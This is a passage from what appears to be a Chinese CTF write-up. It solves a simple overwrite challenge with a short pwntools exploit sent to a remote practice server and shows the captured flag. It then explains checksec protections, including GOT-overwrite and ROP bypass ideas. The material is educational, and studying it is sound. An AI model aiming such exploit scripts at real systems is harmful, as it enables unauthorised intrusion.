可以知道dword60106Cunk601068这俩变量都在.bss段,并且dword60106C就在离unk601068四个位置的地方,而unk601068是由我们输入的,而输入点给了10个长度,正好可以覆盖掉dword60106C使它变成1853186401

编写exp

#exp.py
from pwn import *
p = remote('111.200.241.244',64131)
payload = 'a'*4 + p64(1853186401).decode('unicode_escape')
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

顺利得到flag:

┌──(kali㉿kali)-[~/Desktop]
└─$ python exp.py
[+] Opening connection to 111.200.241.244 on port 64131: Done
/home/kali/Desktop/exp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("bof")
/home/kali/Desktop/exp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload)
[*] Switching to interactive mode
cyberpeace{27b2ba0d58bf0f61749f897d8022823a}
[*] Got EOF while reading in interactive
$  

补充:

来自GitCloud师傅文章PWN-最新checksec的安装和使用

Rech

程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32。

RELRO

Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELROFULL RELRO
Partial (部分)RELRO容易受到攻击,例如攻击者可以atoi.gotsystem.plt进而输入/bin/sh获得shell,完全RELRO使整个GOT只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

Stack

Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。

金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,智慧直接造成程序的崩溃,但是可以利用rop这种方法绕过

PIE

PTE(Position-Independent Executable,位置无关可执行文件)技术与ASLR技术类似,ASLR将程序运行时的堆栈以及共享库的加载地址随机化,而PIE及时则在编译时将程序编译为位置无关,即程序运行时各个段(如代码但等)加载的虚拟地址也是在装载时才确定,这就意味着。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,传统改写GOT表项也难以进行,因为攻击者不能获得程序的.got段的虚地址。若开始一般需在攻击时歇够地址信息。

RPATH/RUNPATH

程序运行是的环境变量,运行时所需要的共享库文件优先从该目录寻找,可以fake lib造成攻击,实例:攻击案例

FORTIFY

这是一个由GCC实现的源码级别的保护机制,其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误
简单地说,加了和这个保护之后,一些敏感函数如read,fgets,memcpy,printf等等可能导致漏洞出现的函数会替换成__read_chk,__fgets_chk等。
这些带了chk的函数 会检查读取/复制的字节长度是否超过缓冲区长度,通过检查诸如%n之类的字符串卫视是否位于可能被用户修改的可写地址,避免了格式胡字符串跳过某些函数如直接(%7$x)等方式来避免漏洞出现,开启FORTIFT保护的程序会被checksec检出,此外,在反编译是直接查看got表也会发现chk函数的存在,这种检查是默认不开启的,可以通过。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇